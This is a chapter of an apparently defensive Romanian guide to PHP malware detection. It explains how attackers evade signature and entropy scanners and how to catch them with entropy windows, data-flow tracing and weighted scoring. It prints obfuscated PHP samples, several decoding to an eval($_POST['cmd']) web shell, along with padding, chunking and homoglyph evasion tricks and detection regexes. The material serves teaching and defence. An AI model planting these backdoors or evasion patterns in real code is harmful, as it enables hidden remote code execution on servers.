Dincolo de semnături: Cum evită detectarea malware-ul modern
În Capitolul 4, am explorat 87 de semnături malware. Ai putea crede că e suficient pentru a prinde majoritatea amenințărilor. Nu e.
Atacatorii moderni știu ce caută scannerele de securitate. Au studiat bazele de date cu semnături, au analizat algoritmii de detectare și au dezvoltat tehnici sofisticate pentru a trece neobservați. Acest capitol dezvăluie acele tehnici - și cum să le învingi.
Problema Semnăturilor
Scannerele tradiționale funcționează așa:
1. Încarcă baza de date cu semnături (tipare precum "eval(base64_decode(")
2. Citește fiecare fișier
3. Potrivește tiparele cu conținutul
4. Dacă e găsită potrivire → semnalează ca malware
Această abordare are un defect fundamental: atacatorii pot citi aceleași baze de date cu semnături.
Cursa Înarmării
Fiecare bază de date publică cu semnături este o hartă pentru atacatori. Pentru fiecare semnătură publicată, atacatorii dezvoltă două tehnici noi de evaziune. De aceea scannerele bazate doar pe semnături luptă o bătălie pierdută.
Ce Fac Atacatorii
Când un atacator vrea să evite detectarea eval(base64_decode(:
// Original (detectat)
eval(base64_decode('ZWNobyAiaGFja2VkIjs='));
// Evaziune v1: Indirecție prin variabilă
$f = 'base64_decode';
$e = 'eval';
$e($f('ZWNobyAiaGFja2VkIjs='));
// Evaziune v2: Construire șiruri
$func = 'bas'.'e64'.'_de'.'code';
$exec = 'ev'.'al';
$exec($func('ZWNobyAiaGFja2VkIjs='));
// Evaziune v3: Fragmente în array (învinge și semnăturile v2)
$c = ['ZWNo', 'byAi', 'aGFj', 'a2Vk', 'Ijs='];
$f = implode('', array_map('chr', [98,97,115,101,54,52,95,100,101,99,111,100,101]));
$e = implode('', array_map('chr', [101,118,97,108]));
$e($f(implode('', $c)));
Fiecare versiune evită mai multe semnături în timp ce face exact același lucru. Comportamentul e identic; aparența e diferită.
Intră în Scenă Analiza Entropiei
Entropia este o măsură a aleatoriului sau imprevizibilității datelor. Este împrumutată din teoria informației - mai precis, entropia Shannon.
Înțelegerea Entropiei Intuitiv
Gândește-te la entropie ca măsurând “surpriza”:
- Entropie scăzută (previzibil): “AAAAAAAAAAAAAAAA” - nicio surpriză, știi ce urmează
- Entropie medie (structurat): “function validateUser($id)” - are tipare dar și varietate
- Entropie ridicată (aleatoriu): “7hK9xQ2mL5nR8pT3” - fiecare caracter e o surpriză
Codul PHP normal are entropie medie (4.5-5.5 pe o scară de 0-8) deoarece:
- Numele variabilelor urmează convenții (
$user,$request) - Cuvintele cheie se repetă (
function,return,if) - Structura e previzibilă (indentare, acolade)
Malware-ul codificat Base64 are entropie ridicată (5.8+) deoarece:
- Toate cele 64 de caractere apar cu frecvență similară
- Niciun tipar recognoscibil
- Arată ca niște caractere fără sens
H(X) = -Σ p(x) × log₂(p(x))
Unde:
- H(X) = entropia datelor
- p(x) = probabilitatea apariției caracterului x
- Σ = suma peste toate caracterele unice
Pentru un fișier cu 256 valori unice de byte care apar egal:
H = -256 × (1/256 × log₂(1/256)) = 8 biți (entropie maximă) De Ce Se Tem Atacatorii de Scannerele de Entropie
Scannerele timpurii de entropie prindeau malware-ul obfuscat cu ușurință:
Fișier: malicious.php
Entropie Globală: 6.7 (RIDICATĂ - SUSPECT)
→ Semnalează pentru revizuire
Dar atacatorii s-au adaptat. Au dezvoltat tehnici de evaziune a entropiei - modalități de a scădea artificial entropia malware-ului lor pentru a arăta ca cod normal.
Cele 5 Tehnici de Evaziune a Entropiei
Prin cercetare extinsă, am identificat cinci tehnici principale pe care le folosesc atacatorii pentru a manipula entropia:
| Tehnică | Metodă | Efect asupra Entropiei |
|---|---|---|
| Padding cu Comentarii | Adaugă comentarii voluminoase repetitive | Scade entropia globală |
| Inginerie Nume Variabile | Folosește nume predictibile, lungi | Scade diversitatea caracterelor |
| Payload Fragmentat | Împarte payload-ul în bucăți mici | Distribuie regiunile cu entropie ridicată |
| Steganografie în Șiruri | Ascunde date în caractere invizibile | Adaugă entropie invizibil |
| Manipulare Whitespace | Adaugă whitespace excesiv | Diluează calculul entropiei |
Să examinăm fiecare în detaliu.
Tehnica 1: Padding cu Comentarii
Scop: Diluează payload-ul cu entropie ridicată cu comentarii cu entropie scăzută.
<?php
/*
* Acesta este un fișier de configurare legitim pentru aplicație.
* Acesta este un fișier de configurare legitim pentru aplicație.
* Acesta este un fișier de configurare legitim pentru aplicație.
* Acesta este un fișier de configurare legitim pentru aplicație.
* [... încă 500 de linii identice ...]
*/
// Setări de configurare
// Setări de configurare
// Setări de configurare
$c = base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs=');
eval($c);
/*
- Sfârșitul fișierului de configurare.
- Sfârșitul fișierului de configurare.
- Sfârșitul fișierului de configurare.
- Sfârșitul fișierului de configurare.
*/ De ce funcționează: Payload-ul malițios are 2 linii. Padding-ul are 1000+ linii de text repetitiv cu entropie scăzută. Entropia globală a fișierului scade de la 6.5 la 4.8 - părând normală.
Detectare: CommentPaddingDetector
Contracarăm asta comparând entropia cu și fără comentarii:
| Indicator | Prag | Ce Înseamnă |
|---|---|---|
| Delta entropie | > 1.5 | Diferență mare cu/fără comentarii |
| Raport comentarii | > 60% | Fișierul e majoritar comentarii |
| Scor repetiție | > 40% | Aceleași linii repetate |
| Raport vocabular | < 15% | Foarte puține cuvinte unice |
// Logica de detectare
$entropyWithComments = calculateEntropy($content);
$entropyWithout = calculateEntropy(stripComments($content));
$delta = $entropyWithout - $entropyWithComments;
if ($delta > 1.5) {
// Comentariile scad artificial entropia
// Investighează codul non-comentariu!
}
Numere Reale de Detectare
În implementarea noastră, necesităm cel puțin 2 indicatori cu încredere combinată peste 40% înainte de semnalare. Aceasta previne false positive-urile pe cod documentat legitim.
Tehnica 2: Ingineria Numelor de Variabile
Scop: Folosește nume de variabile predictibile, lungi pentru a scădea diversitatea caracterelor.
<?php
$temporaryDataBufferStorageVariableOne = 'ZX';
$temporaryDataBufferStorageVariableTwo = 'Zh';
$temporaryDataBufferStorageVariableThree = 'bC';
$temporaryDataBufferStorageVariableFour = 'gk';
$temporaryDataBufferStorageVariableFive = 'X1';
$temporaryDataBufferStorageVariableSix = 'BP';
$temporaryDataBufferStorageVariableSeven = 'U1';
$temporaryDataBufferStorageVariableEight = 'Rb';
$temporaryDataBufferStorageVariableNine = 'J2';
$temporaryDataBufferStorageVariableTen = 'Nt';
$resultOutputDataString =
$temporaryDataBufferStorageVariableOne .
$temporaryDataBufferStorageVariableTwo .
$temporaryDataBufferStorageVariableThree .
/_ ... continuă ... _/;
$executionFunctionVariable = 'eval';
$decodeFunctionVariable = 'base64_decode';
$executionFunctionVariable($decodeFunctionVariable($resultOutputDataString)); De ce funcționează: Numele lungi, repetitive de variabile adaugă caractere previzibile. Cuvinte precum “temporary”, “Data”, “Buffer”, “Storage”, “Variable” apar constant, scăzând entropia.
Detectare: VariableNameEngineeringDetector
| Indicator | Prag | Ce Înseamnă |
|---|---|---|
| Lungime medie | > 25 caractere | Nume de variabile neobișnuit de lungi |
| Număr foarte lungi | > 3 variabile peste 40 caractere | Comportament de padding |
| Tipare secvențiale | > 5 variabile numerotate | $var1, $var2, $var3… |
| Afixe repetitive | > 40% același sufix/prefix | Aceleași terminații/începuturi |
Cuvinte cunoscute de padding pe care le căutăm:
data,buffer,temp,var,string,value,contentresult,output,input,param,arg,item,element
Când aceste cuvinte apar repetat în numele variabilelor, suspiciunea crește.
Tehnica 3: Distribuirea Payload-ului Fragmentat
Scop: Sparge payload-ul cu entropie ridicată în fragmente mici care individual par normale.
<?php
// Arată ca date de configurare
$config = [];
$config[] = 'ZX';
$config[] = 'Zh';
$config[] = 'bC';
$config[] = 'gk';
$config[] = 'X1';
$config[] = 'BP';
$config[] = 'U1';
$config[] = 'RF';
$config[] = 'J2';
$config[] = 'Nt';
$config[] = 'ZC';
$config[] = 'dd';
$config[] = 'XS';
$config[] = 'k7';
// Reconstrucție - partea periculoasă
$payload = implode('', $config);
$fn = chr(101).chr(118).chr(97).chr(108); // "eval"
$fn(base64_decode($payload)); De ce funcționează: Fiecare fragment de 2 caractere are entropie scăzută. O fereastră glisantă de 256 bytes nu va vedea o regiune concentrată cu entropie ridicată. Payload-ul este distribuit în tot fișierul.
Detectare: ChunkedPayloadDetector
Căutăm tiparele de reconstrucție:
| Tipar | Descriere | Încredere |
|---|---|---|
| Construire array | $arr[] = 'xx'; repetat | 70% |
| implode + eval | Reconstrucție în execuție | 95% |
| implode + base64_decode | Decodare șir reconstruit | 90% |
| Lanțuri chr() | Construire șiruri din ASCII | 85% |
| Lungimi uniforme șiruri | Toate șirurile au aceeași dimensiune | 70% |
// Tipare cheie de detectare
$dangerousReconstruction = [
'base64_chunks' => '/base64_decode\s*\(\s*implode/',
'gzinflate_chunks' => '/gzinflate\s*\(\s*implode/',
'chr_building' => '/chr\s*\(\s*\d+\s*\)\s*\.\s*chr/',
];
Polimorfismul AI Folosește Asta
Malware-ul generat de AI folosește intens payload-uri fragmentate deoarece fiecare instanță poate avea o ordine diferită a fragmentelor, nume diferite de variabile array și metode diferite de reconstrucție. De aceea ne concentrăm pe detectarea reconstrucției, nu a fragmentelor în sine.
Tehnica 4: Steganografia în Șiruri
Scop: Ascunde date folosind caractere Unicode invizibile sau caractere care arată la fel.
Caractere Invizibile
Aceste caractere Unicode sunt invizibile dar prezente în șir:
| Caracter | Unicode | Nume |
|---|---|---|
| | U+200B | Zero Width Space |
| | U+200C | Zero Width Non-Joiner |
| | U+200D | Zero Width Joiner |
| | U+FEFF | Byte Order Mark |
| | U+00AD | Soft Hyphen |
| | U+2060 | Word Joiner |
<?php
// Arată ca un șir normal, dar conține date ascunse
$message = "HelloWorld"; // Tiparele ZWSP codifică binar
// Decoderul extrage binar din pozițiile caracterelor invizibile
$binary = '';
for ($i = 0; $i < strlen($message); $i++) {
$char = mb_substr($message, $i, 1);
if ($char === "") $binary .= '0';
if ($char === "") $binary .= '1';
}
// $binary ar putea fi: "01001000" = 'H' = începutul payload-ului Homoglife
Caractere din scripturi diferite care arată identic:
| Latin | Chirilic | Arată La Fel |
|---|---|---|
| a | а | Da |
| e | е | Da |
| o | о | Da |
| c | с | Da |
| p | р | Da |
Un atacator ar putea scrie еval (cu ‘е’ chirilic) în loc de eval (cu ‘e’ latin). Scannerele de semnături care caută eval nu vor potrivi, dar PHP tot ar putea să-l execute.
Detectare: StringSteganographyDetector
Scanăm pentru:
- Caractere invizibile - Orice ZWSP, ZWNJ, BOM, etc.
- Amestec de homoglife - Chirilic în text altfel latin
- Scripturi mixte - Latin + Chirilic + Grec în același șir
- Caractere non-printabile - Caractere de control ascunse în șiruri
Tehnica 5: Manipularea Whitespace-ului
Scop: Umple fișierul cu whitespace pentru a dilua entropia.
<?php
eval(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs='));
De ce funcționează: Caracterele whitespace (spațiu, tab, newline) au entropie scăzută deoarece sunt toate similare. Adăugând 90% whitespace scade semnificativ entropia globală.
Detectare: WhitespaceManipulationDetector
| Indicator | Prag | Semnificație |
|---|---|---|
| Raport whitespace | > 40% | Fișierul e majoritar whitespace |
| Delta entropie | > 2.0 | Diferență mare cu/fără whitespace |
| Raport linii goale | > 30% | Prea multe linii goale |
| Linii goale consecutive | > 10 | Padding suspect |
| Regiuni cu entropie scăzută | > 3 ferestre | Zone concentrate de whitespace |
Puterea Analizei cu Fereastră Glisantă
Entropia globală poate fi manipulată. Entropia locală e mai greu de falsificat.
Analiza cu fereastră glisantă împarte un fișier în fragmente suprapuse și măsoară entropia fiecăruia:
Fișier: malicious_padded.php (10000 bytes)
Configurație Fereastră Glisantă:
- Dimensiune fereastră: 256 bytes
- Pas: 64 bytes
- Ferestre analizate: ~155
Rezultate:
Fereastră 0-256: Entropie 3.2 (comentarii/padding)
Fereastră 64-320: Entropie 3.4 (comentarii/padding)
Fereastră 128-384: Entropie 3.5 (comentarii/padding)
...
Fereastră 4096-4352: Entropie 6.8 ← ANOMALIE! Payload ascuns
Fereastră 4160-4416: Entropie 6.7 ← ANOMALIE!
...
Fereastră 9800-10000: Entropie 3.1 (comentarii/padding)
Entropie Globală: 4.2 (pare normală)
Dar: Anomalii locale detectate la byte 4096-4500
Entropia globală pare normală (4.2), dar fereastra glisantă dezvăluie o regiune cu entropie ridicată la mijloc - acolo e ascuns payload-ul malițios.
Detectare Anomalii cu Z-Score
Folosim scoruri z statistice pentru a găsi valori aberante:
// Calculează media și deviația standard a tuturor ferestrelor
$mean = average($windowEntropies);
$stdDev = standardDeviation($windowEntropies);
// Orice fereastră la mai mult de 2 deviații standard față de medie e anormală
foreach ($windows as $window) {
$zScore = abs($window['entropy'] - $mean) / $stdDev;
if ($zScore > 2.0) {
// Această regiune e statistic anormală
flagAsAnomaly($window);
}
}
Analiza Comportamentală: Viitorul
Semnăturile ne spun cum arată codul. Analiza comportamentală ne spune ce face codul.
Ideea Cheie
Indiferent cum obfuscă un atacator eval($_POST['cmd']), comportamentul e
același: input-ul utilizatorului curge către o funcție de execuție de cod. Ar
trebui să detectăm fluxul, nu aparența.
Urmărirea Fluxului de Date
În loc de potrivire de tipare, urmărim cum se mișcă datele:
Sursă Input Utilizator → Transformare → Destinație Periculoasă
─────────────────────────────────────────────────────────────────────────
$_GET['x'] → base64_decode → eval()
$_POST['data'] → decrypt() → unserialize()
$_REQUEST['cmd'] → (niciuna) → system()
$_COOKIE['token'] → gzinflate() → assert()
Dacă datele curg de la orice input utilizator la orice destinație periculoasă, semnalăm - indiferent de cum arată codul.
De Ce Aceasta Învinge Polimorfismul AI
Malware-ul generat de AI își schimbă aparența la fiecare 15-60 secunde:
- Nume de variabile randomizate
- Ordinea funcțiilor amestecată
- Codificarea șirurilor variază
- Tiparele de comentarii se schimbă
Dar comportamentul rămâne același. Malware-ul tot trebuie să:
- Primească comenzi de la atacator (input)
- Execute acele comenzi (destinație)
Analiza comportamentală prinde fiecare variantă.
Scor Ponderat: Combinând Totul
Nicio tehnică singulară nu e perfectă. Combinăm multiple semnale:
| Componentă | Pondere | Ce Măsoară |
|---|---|---|
| Potriviri semnături | 35% | Tipare malware cunoscute |
| Analiză comportamentală | 25% | Flux de date către destinații periculoase |
| Analiză entropie | 15% | Anomalii statistice |
| Analiză structurală | 10% | Ciudățenii în structura codului |
| Analiză context | 15% | Locație fișier, denumire |
Modificatori de Context
Nu toate detectările sunt egale. Ajustăm scorurile bazat pe context:
| Context | Modificator | Motiv |
|---|---|---|
vendor/ | -40% | Cod terță parte, tipare așteptate |
storage/framework/views/ | -50% | Template-uri Blade compilate |
bootstrap/cache/ | -45% | Fișiere cache framework |
public/uploads/ | +40% | PHP nu ar trebui să fie aici |
.hidden/ | +35% | Director suspect |
| Nume fișier aleatoriu | +20% | x7kd92.php e suspect |
Praguri de Încredere
Bazat pe scorul final, recomandăm acțiuni:
| Încredere | Acțiune | Automatizat? |
|---|---|---|
| ≥ 85% | CARANTINĂ - Mută în izolare, alertează admin | Da |
| 65-84% | REVIZUIRE - Semnalează pentru inspecție manuală | Nu |
| 40-64% | MONITORIZARE - Adaugă pe lista de urmărire | Nu |
| < 40% | CURAT - Nicio acțiune necesară | - |
Vectorul de Caracteristici 15-Dimensional
Pentru analiză avansată, calculăm 15 caracteristici statistice:
Caracteristici Entropie (3)
- Entropie globală
- Varianța entropiei pe ferestre
- Amplitudinea entropiei (max - min)
Distribuția Caracterelor (4)
- Raport caractere printabile
- Raport alfabetice
- Raport cifre
- Raport caractere speciale
Metrici Cod (3)
- Lungime medie linie
- Lungime maximă linie
- Raport linii goale
Analiză Șiruri (2)
- Număr șiruri lungi (șiruri peste 100 caractere)
- Scor probabilitate Base64
Analiză Funcții (3)
- Număr funcții periculoase
- Număr indicatori obfuscare
- Număr apeluri funcții variabilă
Acest vector 15-dimensional oferă o amprentă a fișierului care e dificil de manipulat fără a schimba comportamentul real.
Implementare Practică
Iată cum funcționează pipeline-ul nostru de detectare:
Input: suspect.php
│
▼
┌─────────────────────────────┐
│ 1. Filtre Rapide │ Sari: >1MB, non-PHP, vendor/
└──────────────┬──────────────┘
│
▼
┌─────────────────────────────┐
│ 2. Scanare Semnături │ 87 tipare din Capitolul 4
└──────────────┬──────────────┘
│
▼
┌─────────────────────────────┐
│ 3. Analiză Entropie │ 5 detectoare evaziune
│ ├─ CommentPadding │
│ ├─ VariableNameEngineering │
│ ├─ ChunkedPayload │
│ ├─ StringSteganography │
│ └─ WhitespaceManipulation │
└──────────────┬──────────────┘
│
▼
┌─────────────────────────────┐
│ 4. Analiză Comportamentală │ Urmărire flux date
└──────────────┬──────────────┘
│
▼
┌─────────────────────────────┐
│ 5. Scor Ponderat │ Combină toate semnalele
│ + Modificatori Context │ Ajustează pentru locație
└──────────────┬──────────────┘
│
▼
┌─────────────────────────────┐
│ 6. Recomandare │ CARANTINĂ/REVIZUIRE/MONITORIZARE/CURAT
└─────────────────────────────┘
Sumar
Semnăturile sunt necesare dar insuficiente. Malware-ul modern folosește tehnici sofisticate de evaziune:
Concluzii cheie:
- Padding-ul cu comentarii, ingineria variabilelor și manipularea whitespace-ului scad artificial entropia
- Payload-urile fragmentate distribuie conținutul cu entropie ridicată în tot fișierul
- Steganografia în șiruri ascunde date în caractere invizibile
- Analiza cu fereastră glisantă prinde anomalii locale chiar când entropia globală pare normală
- Analiza comportamentală detectează ce face codul, nu cum arată
- Scorul ponderat combină multiple semnale pentru detectare precisă
- Modificatorii de context previn false positive-urile în codul legitim al framework-ului
Lecția e clară: straturi de apărare, nu tehnici singulare.
Următorul: Capitolul 6 - Cele 12 CVE-uri Pe Care Fiecare Developer Laravel Trebuie Să Le Cunoască
Analiza entropiei prinde obfuscarea. Dar ce facem cu vulnerabilitățile din Laravel însuși? Următorul capitol acoperă CVE-urile critice pe care fiecare developer Laravel trebuie să le patch-uiască.